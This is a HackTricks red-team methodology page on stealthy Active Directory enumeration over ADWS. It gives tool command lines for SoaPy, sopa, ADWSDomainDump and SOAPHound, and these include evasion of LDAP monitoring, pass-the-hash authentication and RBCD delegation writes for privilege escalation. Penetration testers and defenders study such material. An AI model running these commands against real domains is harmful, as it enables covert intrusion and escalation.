adws-enumeration.md (13720B)
1 --- 2 title: "Active Directory Web Services (ADWS) Enumeration & Stealth Collection" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/adws-enumeration.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/adws-enumeration.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Active Directory Web Services (ADWS) Enumeration & Stealth Collection 14 15 ## What is ADWS? 16 17 Active Directory Web Services (ADWS) is **enabled by default on every Domain Controller since Windows Server 2008 R2** and listens on TCP **9389**. Despite the name, **no HTTP is involved**. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:<sup>[[1]](#references)[[6]](#references)[[7]](#references)</sup> 18 19 * MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF 20 21 Because the traffic is encapsulated inside these binary SOAP frames and travels over an uncommon port, **enumeration through ADWS is far less likely to be inspected, filtered or signatured than classic LDAP/389 & 636 traffic**. For operators this means:<sup>[[1]](#references)[[7]](#references)</sup> 22 23 * Stealthier recon – Blue teams often concentrate on LDAP queries. 24 * Freedom to collect from **non-Windows hosts (Linux, macOS)** by tunnelling 9389/TCP through a SOCKS proxy. 25 * The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) and the ability to perform **writes** (e.g. `msDs-AllowedToActOnBehalfOfOtherIdentity` for **RBCD**). 26 27 ADWS interactions are implemented over WS-Enumeration: every query starts with an `Enumerate` message that defines the LDAP filter/attributes and returns an `EnumerationContext` GUID, followed by one or more `Pull` messages that stream up to the server-defined result window.<sup>[[7]](#references)</sup> Contexts age out after ~30 minutes, so tooling either needs to page results or split filters (prefix queries per CN) to avoid losing state.<sup>[[8]](#references)</sup> When asking for security descriptors, specify the `LDAP_SERVER_SD_FLAGS_OID` control to omit SACLs, otherwise ADWS simply drops the `nTSecurityDescriptor` attribute from its SOAP response. 28 29 > NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity. 30 31 ## SoaPy – Native Python Client 32 33 [SoaPy](https://github.com/logangoins/soapy) is a **full re-implementation of the ADWS protocol stack in pure Python**. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.<sup>[[1]](#references)[[2]](#references)</sup> 34 35 ### Key Features 36 37 * Supports **proxying through SOCKS** (useful from C2 implants). 38 * Fine-grained search filters identical to LDAP `-q '(objectClass=user)'`. 39 * Optional **write** operations ( `--set` / `--delete` ). 40 * **BOFHound output mode** for direct ingestion into BloodHound.<sup>[[3]](#references)</sup> 41 * `--parse` flag to prettify timestamps / `userAccountControl` when human readability is required.<sup>[[2]](#references)</sup> 42 43 ### Targeted collection flags & write operations 44 45 SoaPy ships with curated switches that replicate the most common LDAP hunting tasks over ADWS: `--users`, `--computers`, `--groups`, `--spns`, `--asreproastable`, `--admins`, `--constrained`, `--unconstrained`, `--rbcds`, plus raw `--query` / `--filter` knobs for custom pulls. Pair those with write primitives such as `--rbcd <source>` (sets `msDs-AllowedToActOnBehalfOfOtherIdentity`), `--spn <service/cn>` (SPN staging for targeted Kerberoasting) and `--asrep` (flip `DONT_REQ_PREAUTH` in `userAccountControl`).<sup>[[2]](#references)</sup> 46 47 Example targeted SPN hunt that only returns `samAccountName` and `servicePrincipalName`: 48 49 ```bash 50 soapy corp.local/alice:'Winter2025!'@dc01.corp.local \ 51 --spns -f samAccountName,servicePrincipalName --parse 52 ``` 53 54 Use the same host/credentials to immediately weaponise findings: dump RBCD-capable objects with `--rbcds`, then apply `--rbcd 'WEBSRV01$' --account 'FILE01$'` to stage a Resource-Based Constrained Delegation chain (see [Resource-Based Constrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation) for the full abuse path). 55 56 ### Installation (operator host) 57 58 ```bash 59 python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt 60 ``` 61 62 ## ADWSDomainDump – LDAPDomainDump over ADWS (Linux/Windows) 63 64 * Fork of `ldapdomaindump` that swaps LDAP queries for ADWS calls on TCP/9389 to reduce LDAP-signature hits. 65 * Performs an initial reachability check to 9389 unless `--force` is passed (skips the probe if port scans are noisy/filtered). 66 * Tested against Microsoft Defender for Endpoint and CrowdStrike Falcon with successful bypass in the README.<sup>[[4]](#references)</sup> 67 68 ### Installation 69 70 ```bash 71 pipx install . 72 ``` 73 74 ### Usage 75 76 ```bash 77 adwsdomaindump -u 'thewoods.local\mathijs.verschuuren' -p 'password' -n 10.10.10.1 dc01.thewoods.local 78 ``` 79 80 Typical output logs the 9389 reachability check, ADWS bind, and dump start/finish: 81 82 ```text 83 [*] Connecting to ADWS host... 84 [+] ADWS port 9389 is reachable 85 [*] Binding to ADWS host 86 [+] Bind OK 87 [*] Starting domain dump 88 [+] Domain dump finished 89 ``` 90 91 ## Sopa - A practical client for ADWS in Golang 92 93 Similarly as soapy, [sopa](https://github.com/Macmod/sopa) implements the ADWS protocol stack (MS-NNS + MC-NMF + SOAP) in Golang, exposing command-line flags to issue ADWS calls such as:<sup>[[5]](#references)</sup> 94 95 * **Object search & retrieval** - `query` / `get` 96 * **Object lifecycle** - `create [user|computer|group|ou|container|custom]` and `delete` 97 * **Attribute editing** - `attr [add|replace|delete]` 98 * **Account management** - `set-password` / `change-password` 99 * and others such as `groups`, `members`, `optfeature`, `info [version|domain|forest|dcs]`, etc. 100 101 ### Protocol mapping highlights 102 103 * LDAP-style searches are issued via **WS-Enumeration** (`Enumerate` + `Pull`) with attribute projection, scope control (Base/OneLevel/Subtree) and pagination. 104 * Single-object fetch uses **WS-Transfer** `Get`; attribute changes use `Put`; deletions use `Delete`. 105 * Built-in object creation uses **WS-Transfer ResourceFactory**; custom objects use an **IMDA AddRequest** driven by YAML templates. 106 * Password operations are **MS-ADCAP** actions (`SetPassword`, `ChangePassword`).<sup>[[5]](#references)</sup> 107 108 ### Unauthenticated metadata discovery (mex) 109 110 ADWS exposes WS-MetadataExchange without credentials, which is a quick way to validate exposure before authenticating:<sup>[[5]](#references)</sup> 111 112 ```bash 113 sopa mex --dc <DC> 114 ``` 115 116 ### DNS/DC discovery & Kerberos targeting notes 117 118 Sopa can resolve DCs via SRV if `--dc` is omitted and `--domain` is provided. It queries in this order and uses the highest-priority target:<sup>[[5]](#references)</sup> 119 120 ```text 121 _ldap._tcp.<domain> 122 _kerberos._tcp.<domain> 123 ``` 124 125 Operationally, prefer a DC-controlled resolver to avoid failures in segmented environments: 126 127 * Use `--dns <DC-IP>` so **all** SRV/PTR/forward lookups go through the DC DNS. 128 * Use `--dns-tcp` when UDP is blocked or SRV answers are large. 129 * If Kerberos is enabled and `--dc` is an IP, sopa performs a **reverse PTR** to obtain an FQDN for correct SPN/KDC targeting. If Kerberos is not used, no PTR lookup happens. 130 131 Example (IP + Kerberos, forced DNS via the DC): 132 133 ```bash 134 sopa info version --dc 192.168.1.10 --dns 192.168.1.10 -k --domain corp.local -u user -p pass 135 ``` 136 137 ### Auth material options 138 139 Besides plaintext passwords, sopa supports **NT hashes**, **Kerberos AES keys**, **ccache**, and **PKINIT certificates** (PFX or PEM) for ADWS auth. Kerberos is implied when using `--aes-key`, `-c` (ccache) or certificate-based options.<sup>[[5]](#references)</sup> 140 141 ```bash 142 # NT hash 143 sopa --dc <DC> -d <DOMAIN> -u <USER> -H <NT_HASH> query --filter '(objectClass=user)' 144 145 # Kerberos ccache 146 sopa --dc <DC> -d <DOMAIN> -u <USER> -c <CCACHE> info domain 147 ``` 148 149 ### Custom object creation via templates 150 151 For arbitrary object classes, the `create custom` command consumes a YAML template that maps to an IMDA `AddRequest`:<sup>[[5]](#references)</sup> 152 153 * `parentDN` and `rdn` define the container and relative DN. 154 * `attributes[].name` supports `cn` or namespaced `addata:cn`. 155 * `attributes[].type` accepts `string|int|bool|base64|hex` or explicit `xsd:*`. 156 * Do **not** include `ad:relativeDistinguishedName` or `ad:container-hierarchy-parent`; sopa injects them. 157 * `hex` values are converted to `xsd:base64Binary`; use `value: ""` to set empty strings. 158 159 ## SOAPHound – High-Volume ADWS Collection (Windows) 160 161 [FalconForce SOAPHound](https://github.com/FalconForceTeam/SOAPHound) is a .NET collector that keeps all LDAP interactions inside ADWS and emits BloodHound v4-compatible JSON. It builds a complete cache of `objectSid`, `objectGUID`, `distinguishedName` and `objectClass` once (`--buildcache`), then reuses it for high-volume `--bhdump`, `--certdump` (ADCS), or `--dnsdump` (AD-integrated DNS) passes so only ~35 critical attributes ever leave the DC. AutoSplit (`--autosplit --threshold <N>`) automatically shards queries by CN prefix to stay under the 30-minute EnumerationContext timeout in large forests.<sup>[[8]](#references)</sup> 162 163 Typical workflow on a domain-joined operator VM: 164 165 ```powershell 166 # Build cache (JSON map of every object SID/GUID) 167 SOAPHound.exe --buildcache -c C:\temp\corp-cache.json 168 169 # BloodHound collection in autosplit mode, skipping LAPS noise 170 SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \ 171 --autosplit --threshold 1200 --nolaps \ 172 -o C:\temp\BH-output 173 174 # ADCS & DNS enrichment for ESC chains 175 SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output 176 SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot 177 ``` 178 179 Exported JSON slots directly into SharpHound/BloodHound workflows—see [BloodHound methodology](/hacktricks/windows-hardening/active-directory-methodology/bloodhound) for downstream graphing ideas. AutoSplit makes SOAPHound resilient on multi-million object forests while keeping the query count lower than ADExplorer-style snapshots. 180 181 ## Stealth AD Collection Workflow 182 183 The following workflow shows how to enumerate **domain & ADCS objects** over ADWS, convert them to BloodHound JSON and hunt for certificate-based attack paths – all from Linux: 184 185 1. **Tunnel 9389/TCP** from the target network to your box (e.g. via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Export `export HTTPS_PROXY=socks5://127.0.0.1:1080` or use SoaPy’s `--proxyHost/--proxyPort`. 186 187 2. **Collect the root domain object:** 188 189 ```bash 190 soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \ 191 -q '(objectClass=domain)' \ 192 | tee data/domain.log 193 ``` 194 195 3. **Collect ADCS-related objects from the Configuration NC:** 196 197 ```bash 198 soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \ 199 -dn 'CN=Configuration,DC=ludus,DC=domain' \ 200 -q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\ 201 (objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \ 202 | tee data/adcs.log 203 ``` 204 205 4. **Convert to BloodHound:** 206 207 ```bash 208 bofhound -i data --zip # produces BloodHound.zip 209 ``` 210 211 5. **Upload the ZIP** in the BloodHound GUI and run cypher queries such as `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` to reveal certificate escalation paths (ESC1, ESC8, etc.). 212 213 ### Writing `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD) 214 215 ```bash 216 soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \ 217 --set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \ 218 msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....' 219 ``` 220 221 Combine this with `s4u2proxy`/`Rubeus /getticket` for a full **Resource-Based Constrained Delegation** chain (see [Resource-Based Constrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation)). 222 223 ## Tooling Summary 224 225 | Purpose | Tool | Notes | 226 |---------|------|-------| 227 | ADWS enumeration | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, read/write | 228 | High-volume ADWS dump | [SOAPHound](https://github.com/FalconForceTeam/SOAPHound) | .NET, cache-first, BH/ADCS/DNS modes | 229 | BloodHound ingest | [BOFHound](https://github.com/bohops/BOFHound) | Converts SoaPy/ldapsearch logs | 230 | Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | Can be proxied through same SOCKS | 231 | ADWS enumeration & object changes | [sopa](https://github.com/Macmod/sopa) | Generic client to interface with known ADWS endpoints - allows for enumeration, object creation, attribute modifications, and password changes | 232 233 ## References 234 235 - [1] [SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/) 236 - [2] [SoaPy GitHub](https://github.com/logangoins/soapy) 237 - [3] [BOFHound GitHub](https://github.com/bohops/BOFHound) 238 - [4] [ADWSDomainDump GitHub](https://github.com/mverschu/adwsdomaindump) 239 - [5] [Sopa GitHub](https://github.com/Macmod/sopa) 240 - [6] [Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/) 241 - [7] [IBM X-Force Red – Stealthy Enumeration of Active Directory Environments Through ADWS](https://logan-goins.com/2025-02-21-stealthy-enum-adws/) 242 - [8] [FalconForce – SOAPHound tool to collect Active Directory data via ADWS](https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/)